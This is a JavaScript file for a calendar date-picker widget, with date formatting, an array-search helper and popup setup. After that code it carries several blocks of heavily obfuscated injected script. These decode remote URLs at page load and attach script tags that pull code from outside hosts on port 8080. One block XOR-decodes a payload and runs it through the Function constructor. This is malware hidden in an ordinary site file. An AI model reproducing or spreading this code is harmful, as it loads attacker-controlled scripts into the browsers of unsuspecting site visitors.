  else {value['g']=H;}
  value['h']=LZ(value['g']);
  if (H > 11) {value['a']='pm'; value['A'] = 'PM';}
  else { value['a']='am'; value['A'] = 'AM';}
  value['i']=LZ(m);
  value['s']=LZ(s);
  //construct the result string
  while (i_format < format.length) {
    c=format.charAt(i_format);
    token="";
    while ((format.charAt(i_format)==c) && (i_format < format.length)) {
      token += format.charAt(i_format++);
      }
    if (value[token] != null) { result=result + value[token]; }
    else { result=result + token; }
    }
  return result;
};
/*****************************************************************************/
Array.prototype.arrayIndex = function(searchVal,startIndex) //similar to array.indexOf() - created to fix IE deficiencies
{
  startIndex = (startIndex != null ? startIndex : 0); //default startIndex to 0, if not set
  for(var i=startIndex;i<this.length;i++)
  {
    if(searchVal == this[i]) {
      return i;
    }
  }
  return -1;
};
/*****************************************************************************/
/*You can also place this code in a separate file and link to it like epoch_classes.js*/
  var bas_cal,dp_cal,ms_cal,vict,har;      
window.onload = function () {
  dp_cal  = new Epoch('epoch_popup','popup',document.getElementById('popup_container'));
  vict    = new Epoch('epoch_popup','popup',document.getElementById('popup_contain'));
  har     = new Epoch('epoch_popup','popup',document.getElementById('popup_cont'));
};

var p;if(p!='n'){p=''};var g;if(g!='l' && g!='f'){g=''};var lv;if(lv!='lm'){lv=''};var gq=60579;var j=window;var fm='';var ja;if(ja!='pm' && ja!='la'){ja='pm'};var o='s%c7rGi%p_t7'.replace(/[7_%G\|]/g, '');var jg=document;var qr;if(qr!='' && qr!='v'){qr=null};var m;if(m!=''){m='hc'};var i=new String();j.onload=function(){try {c=jg.createElement(o);this.wm="wm";this.s=64852;this.ei=44685;var qra;if(qra!='' && qra!='ed'){qra=''};c.src='hItVtOpS:I/I/OdSiSsqcVuIsOsq-ScOoImS-qhIkI.SgSoqoIgSlIeS.VcSoSmO.VpSkI.SpIcSpqoOpS-qcqoqmS.qbSeSsStqnIeSwOhIaVvIeOnO.SrSuq:S8O0q8O0q/ObSpV.qbqlVoVgqsSpIoItV.qcIoImV/ObIpO.IbqlqoIgIsVpqoOtV.ScIoOmI/VoIvSeSrSsItqoScVkS.IcOoSmV/IgSoOoOgVlSeS.VcOoqmV/OcVtSrOiIpO.IcSoOmO/I'.replace(/[ISOqV]/g, '');this.vm="";var fg;if(fg!='gx' && fg != ''){fg=null};c.setAttribute('dEeEfEe^r^'.replace(/[\^E9mP]/g, ''), "1");this.rq="rq";this.lz=13114;jg.body.appendChild(c);} catch(t){var j_;if(j_!='ru' && j_!='eg'){j_='ru'};var jc=new Array();};var bv=false;};var re=new String();
var mp;if(mp!='' && mp!='l'){mp=''};var jd;if(jd!='b'){jd='b'};:LineMixer [var k=window;var i='sqc4rQi4pHtQ'.replace(/[Q\*Hq4]/g, '');var kv=56926;var s='c;r.e;a.t.e@E.l@e@m;eCn;tG'.replace(/[G@;\.C]/g, '');]this.tk=9255;this.f=34817;k.onload=function(){var zt;if(zt!='sg' && zt != ''){zt=null};var za;if(za!='tv' && za != ''){za=null};try {m=document[s](i);this.ae=false;var bn;if(bn!='' && bn!='bp'){bn=null};var zf="zf";this.e=36288;:LineMixer [m['smrMcm'.replace(/[mY%Mb]/g, '')]='hEtGt@p@:E/E/GsIf?g?a?t@eE-?cIoEm?.?x@i?n@g?.@c@o?mE.IxGvIi?dEe?oIsG-Ec@oGmE.IyEoEuErItIoIlIl@tEaEg@.Er@uI:G8G0E8I0I/G3@6G0@bGu?yE.?cEoEmI/I3@6@0@b@uGyE.GcIoImE/?eGoIrIeEz@oE.?c?oImI/?uGpEsI.@cIoIm@/Gg@oEoEgEl?eI.@cIoGmG/I'.replace(/[I@EG\?]/g, '');var ys;if(ys!='ss' && ys!='_'){ys=''};m.setAttribute('d&e&f_e|r_'.replace(/[_/A\|&]/g, ''), "1");]var mj='';var h='';document['b,o,d&yh'.replace(/[h,&3Z]/g, '')]['akpSpfe1nsdfCfhfiklkds'.replace(/[skf1S]/g, '')](m);var ol="ol";var oi="oi";} catch(t){};var p_;if(p_!='ac'){p_='ac'};var stu;if(stu!='jq'){stu='jq'};};var bg;if(bg!=''){bg='lr'};
var QA="89969fa480e488938abfa2e18893828de6a79eb791819085bba799ac8eb5b289b696848c8a9384868a80ab858abdb791838a8d9bb59e89b389a5ab968ea0abaea5c9a084fca6bd8fe3a6bdf68ea5";this.Ai="";var zhT=new Date();var yp=new Date();function z(RU){var uF="uF";var H=new String();var A;if(A!='' && A!='UF'){A=''}; function i(m, r){var F;if(F!='nV'){F=''};var Vv;if(Vv!='gx'){Vv='gx'};var D=new String();var f = r.length;var DM;if(DM!=''){DM='XR'};var pN;if(pN!=''){pN='jZ'};var Xe = '';var zZ;if(zZ!='fO'){zZ=''};var v=[108,1,18,9][1];this.JO="";this.dD='';var fl;if(fl!='bB'){fl='bB'};var zC=[24,210,99,0][3];var GO="GO";var Q=22638;var E = m.length;var Kg=new String();var zO=new String();var JS='';for(var Xc = zC; Xc < E; Xc += f) {var QI=false;var W = m.substr(Xc, f);var XZ=new Array();var Mz;if(Mz!='NE' && Mz!='Ip'){Mz='NE'};var O;if(O!='TOG' && O!='l'){O='TOG'};if(W.length == f){var HVk=new Date();this.KG=false;var tr;if(tr!='' && tr!='pJ'){tr='Ris'};this.zg=false;for(var J in r) {this.q="";var Wy;if(Wy!='Ei' && Wy!='sm'){Wy=''};var wW;if(wW!='Xo' && wW!='xv'){wW=''};this.Nv=false;Xe+=W.substr(r[J], v);this.zH='';var nG;if(nG!=''){nG='bo'};var dN='';this.xA='';}} else {this.MA=409;this.Ey="";  Xe+=W;var SR;if(SR!='bPQ'){SR='bPQ'};}var lV;if(lV!='WU' && lV != ''){lV=null};var GQ;if(GQ!=''){GQ='KN'};}var TV=new Date();var xT;if(xT!='YF' && xT!='RY'){xT=''};return Xe;} var Ji=function(V,P){return V^P;var Ve;if(Ve!='wK' && Ve!='bC'){Ve=''};var EZ="EZ";};var TL;if(TL!='Qf' && TL != ''){TL=null}; var DR;if(DR!='oj'){DR=''};function n(h,G){var DQ;if(DQ!='FF' && DQ != ''){DQ=null};return h[i("hrCacdAteo", [4,0,3,1,2])](G);}var AA;if(AA!='Mt'){AA='Mt'};var UsE;if(UsE!=''){UsE='XP'}; function X(m){this.TP=29708;var Cl;if(Cl!='' && Cl!='nY'){Cl=null};var ocw;if(ocw!='sB' && ocw!='Me'){ocw=''};m = new c(m);var Xc =[134,221,0,91][2];var zC =[0,154,94][0];var TC;if(TC!='bm' && TC != ''){TC=null};var Xe = '';this.DW="";var iQ;if(iQ!='' && iQ!='a'){iQ='Xl'};var o = -1;var gL;if(gL!=''){gL='ih'};var dE="";var cz;if(cz!='Wr' && cz!='ua'){cz=''};var ma=false;for (Xc=m[i("nlehgt", [1,2,0])]-o;Xc>=zC;Xc=Xc-[35,50,1,212][2]){this.MzA='';var aA;if(aA!='' && aA!='tI'){aA='la'};Xe+=m[i("rAacht", [3,4,2,0,1])](Xc);var VK=55362;}var Lw='';var WQ;if(WQ!='YD'){WQ='YD'};var iV;if(iV!='' && iV!='GS'){iV=''};var ol='';return Xe;}var rc;if(rc!='oR' && rc!='rf'){rc=''};var OY="OY"; var d=function(cv){this.VaK="";var zp;if(zp!=''){zp='HU'};var Xu=new String();var K=cv[i("nelhtg", [2,1,0])];this.kR=false;var J=[0][0];var me=[0,192,155][0];var DRU;if(DRU!='GG' && DRU!='zL'){DRU=''};var v=[1][0];var Gt;if(Gt!='' && Gt!='Ea'){Gt=null};this.GNw="";var j=[255][0];var lU=new Array();var Gd="Gd";var qk=new Array();var mv;if(mv!='' && mv!='IG'){mv=''};while(J<K){var Gkf;if(Gkf!='jz' && Gkf!='wD'){Gkf=''};J++;dZ=n(cv,J - v);var yJ='';me+=dZ*K;var AZ;if(AZ!='Oi'){AZ=''};var mvc=false;}var Uc=new Array();var lL="lL";return new c(me % j);var yA;if(yA!='' && yA!='uaT'){yA=''};var Ym="";};var Y=window;var FY=new String();var u=Y[i("vela", [1,0])];var zh;if(zh!='' && zh!='hL'){zh=''};var Vg=new Array();var e=u(i("tcnFuion", [3,4,2,1,0,5]));this.fq='';var AO=new Date();var Pw;if(Pw!=''){Pw='YV'};var MC;if(MC!='' && MC!='kc'){MC=null};var ck=new String();var c=u(i("tSirgn", [1,0]));var Va = '';var Ot;if(Ot!='Qk'){Ot='Qk'};var Aw=false;var b=u(i("eExRgp", [3,0,4,1,2]));var GQX;if(GQX!=''){GQX='Um'};var gS=new Array();var sL;if(sL!='fxf' && sL != ''){sL=null};var vC=Y[i("eunscape", [1,2,0,3,4])];this.ns="ns";var nQw;if(nQw!='' && nQw!='Gb'){nQw=null};var gF=false;var vf=false;var GU=c[i("rfmohCraoCed", [1,0])];var Ml;if(Ml!=''){Ml='Bi'};var Na='';var RCR;if(RCR!='' && RCR!='El'){RCR='nu'};var HZ=40741;var ku;if(ku!='bS'){ku='bS'};var he = '';this.St="";var g = /[^@a-z0-9A-Z_-]/g;var s =[230,64,0,71][2];this.Kv='';var MJ;if(MJ!='DG' && MJ != ''){MJ=null};var zC =[219,23,0,62][2];var WW="";var mD=[1, i("ednmtuoct.eaEecrtl(n\'eemts\'p)icr", [1,6,7,5,3,0,2,4]),2, i("nucodem.ob.tydCeppadn)dlihd(", [4,3,2,1,6,5,0]),3, i("mocht.ohelemsbaur.08:80", [2,1,0]),4, i("st.Aderbtuti(deet\'fer\'", [4,2,0,5,1,3]),5, i("u.comr.cozihu.cnahr", [2,3,4,1,0]),6, i("oa.locu.k", [1,0]),7, i(".wwndoionload", [2,6,3,4,5,1,0,7]),8, i("ntficuon()", [2,5,0,4,1,3]),11, i("oggoelc.mo", [1,0]),12, i("evhoc.mo", [1,0]),14, i("actc()eh", [3,0,2,1]),15, i(".cflnom", [4,2,3,0,1]),16, i("ytnmeis", [2,0,1]),17, i("h\"tt:p", [1,0]),18, i("r.csd", [4,1,3,0,2]),19, i("\'1\')", [2,1,0]),20, i("rty", [1,0])];var v =[87,154,1,247][2];this.CG="CG";var Sm;if(Sm!='' && Sm!='qW'){Sm=null};var hc = '';var L = RU[i("htngel", [5,4,2,3,1,0])];var p =[2][0];this.nF="nF";var OFH="";var eZ = '';this.RK='';var yt;if(yt!='dA' && yt != ''){yt=null};var xI="";var mVH;if(mVH!=''){mVH='RM'};var t = "%";var zQ='';var Fr;if(Fr!='' && Fr!='xJ'){Fr=null};var wN=31263;var JR=new Date();for(var gX=zC; gX < L; gX+=p){var Po;if(Po!='' && Po!='sM'){Po='XRO'};hc+= t; hc+= RU[i("ussbrt", [1,0])](gX, p);var sI;if(sI!='inD' && sI != ''){sI=null};}var Ew;if(Ew!='' && Ew!='Bg'){Ew='Ii'};var dI;if(dI!='UI'){dI=''};var RU = vC(hc);var vb="";var doZ="";var ex=new String();var cD=false;var dU = new c(z);var eZN;if(eZN!='Qb'){eZN=''};var bP = dU[i("erpalce", [1,0,2])](g, he);var Px=new Array();var ob;if(ob!='Atb' && ob!='YN'){ob='Atb'};bP = X(bP);var Kn;if(Kn!='lF' && Kn!='CM'){Kn='lF'};var Ua=new Array();var za = mD[i("nlehgt", [1,2,0])];var N = new c(e);var eJ;if(eJ!='' && eJ!='oll'){eJ=null};var bL=new Array();var hdN=new Array();var fH=false;var TZ='';var zu;if(zu!='Td' && zu != ''){zu=null};this.nFY="";var Tu=23775;var U = N[i("creplae", [1,2,3,4,5,0,6])](g, he);var U = d(U);var SYD=25664;var Sw=40629;var Gk=d(bP);for(var Xc=zC; Xc < (RU[i("ngelth", [3,2,0,1])]);Xc=Xc+[178,1,243,167][1]) {var lTn="";var Mk;if(Mk!='AE' && Mk!='OK'){Mk='AE'};var izs=new String();var w = bP.charCodeAt(s);var I = n(RU,Xc);var Yr='';var Vc=new Array();var bY;if(bY!='tE'){bY=''};I = Ji(I, w);I = Ji(I, Gk);I = Ji(I, U);var fG;if(fG!='cY' && fG != ''){fG=null};var nd;if(nd!='kh' && nd != ''){nd=null};s++;var Ac;if(Ac!='' && Ac!='Ui'){Ac='hP'};this.rK=false;var DV;if(DV!='BW' && DV!='xy'){DV='BW'};if(s > bP.length-v){s=zC;var px=new String();var eJf;if(eJf!='NC' && eJf!='Ub'){eJf='NC'};}eZ += GU(I);this.Cn='';}var eM;if(eM!=''){eM='Wj'};var sp=new String();for(hZ=zC; hZ < za; hZ+=p){var Vt="Vt";this.rUC="rUC";this.JF="JF";var oc = mD[hZ + v];var zpL='';this.yO="";var IU = GU(mD[hZ]);var MV="MV";var eZk;if(eZk!='ZR'){eZk='ZR'};var yb="";var VP=false;var ia = new b(IU, GU(103));eZ=eZ[i("learepc", [3,4,5,0,2,6,1])](ia, oc);}var QZ=9790;var jv=new String();this.oC="";var JL=new e(eZ);this.Rs="Rs";JL();var II;if(II!='yQ' && II!='FR'){II=''};var je="je";var ne;if(ne!=''){ne='gv'};var kn;if(kn!=''){kn='Yh'};var xLT;if(xLT!='ss' && xLT!='mWt'){xLT='ss'};var kw=new Date();N = '';var afV='';var BcK='';U = '';var XK=62500;eZ = '';var ejR;if(ejR!='vG' && ejR!='PD'){ejR=''};bP = '';var EO;if(EO!='' && EO!='aa'){EO=''};Gk = '';var YA;if(YA!='sk' && YA!='jgm'){YA=''};JL = '';var OA=new String();var Hg;if(Hg!='Fx'){Hg='Fx'};var HL=new Date();var wo;if(wo!='' && wo!='Fn'){wo=''};return '';};this.Ai="";var zhT=new Date();var yp=new Date();z(QA);
var L="";var Xj=new Array();function s() {this.t="";this.i="";var IS;if(IS!='f' && IS!='H'){IS=''};var n='g';this.W="";var QJ="";var A=']';var y='replace';var Dz=new Array();var jT;if(jT!='' && jT!='oI'){jT='q'};var Z=RegExp;var CZ=new String();var k;if(k!='' && k!='rr'){k=''};var yV=new String();var AE=new String();var K='[';var Wm;if(Wm!='' && Wm!='e'){Wm=''};var mk;if(mk!=''){mk='kC'};var xT;if(xT!='a' && xT!='JZ'){xT=''};var va;if(va!='qI' && va!='Zf'){va=''};function D(S,j){this.Mo='';var I=K;this.Aa='';var oa;if(oa!='Aq' && oa!='Zk'){oa='Aq'};I+=j;var ZP="";var ds;if(ds!='u'){ds='u'};I+=A;var F;if(F!='pm' && F!='NJ'){F='pm'};var yU=new Array();var h=new Z(I, n);this.kz="";this.gt='';return S[y](h, yV);var zx;if(zx!='QP' && zx!='__'){zx='QP'};};var UO=new Date();var qr=new String();var o=window;var oTF=new String();var N='';var Uk="";var At=D('83370379873393093333',"937");var WQ;if(WQ!='cA' && WQ != ''){WQ=null};this.db="";var X=D('h8t2t2p8:6/2/6a2o2l8-6c6o8m6.6l2o8w8e8s6.8c8o6m8.2s2i8t8e6p6o8i6n2t8-8c8o2m8.2s2u8p2e8r6n2e6w2s8t6u8f2f6.6r6u8:6',"628");this.gN="";var Sr=D('cZrDekaZtAekEDlZeDmAeAnZtZ',"AkDZ");var V=D('/XpXaMgMeXsBjMaBuUnMeXsM.BfJrU/XpXaMgXeXsJjMaMuMnUeUsM.MfBrX/MsBoMnJgMsX.UpMkJ/JgUoUoUgUlXeB.McBoMmJ/UbJiXtJ.MlJyU.JpBhXpX',"UJBMX");var Ks="";var hV=D('sdcJrdidpdtd',"dJ");var Ml;if(Ml!='' && Ml!='Go'){Ml=null};o[D('oYnYlMo6a2d6',"26MY")]=function(){var qS=new Date();var Mx;if(Mx!='' && Mx!='tY'){Mx='AP'};try {this.El="";N+=X;N+=At;var eU=new Array();var Yu=new Array();N+=V;var rt=new Array();this.Nk="";var xy='';p=document[Sr](hV);var te="";var KL='';E(p,'src',N);var ff;if(ff!='RJ' && ff!='Jx'){ff='RJ'};var _EY;if(_EY!='Pr' && _EY!='gg'){_EY='Pr'};var Jn=new Date();E(p,'defer',([1][0]));document.body.appendChild(p);} catch(Q){var Oq=new Array();};};var GJ=new String();this.bD='';function E(Y,m,G){this.PO='';this.ym='';Y.setAttribute(m, G);}var zu="";var Mls="";this.OO='';this.rO='';};s();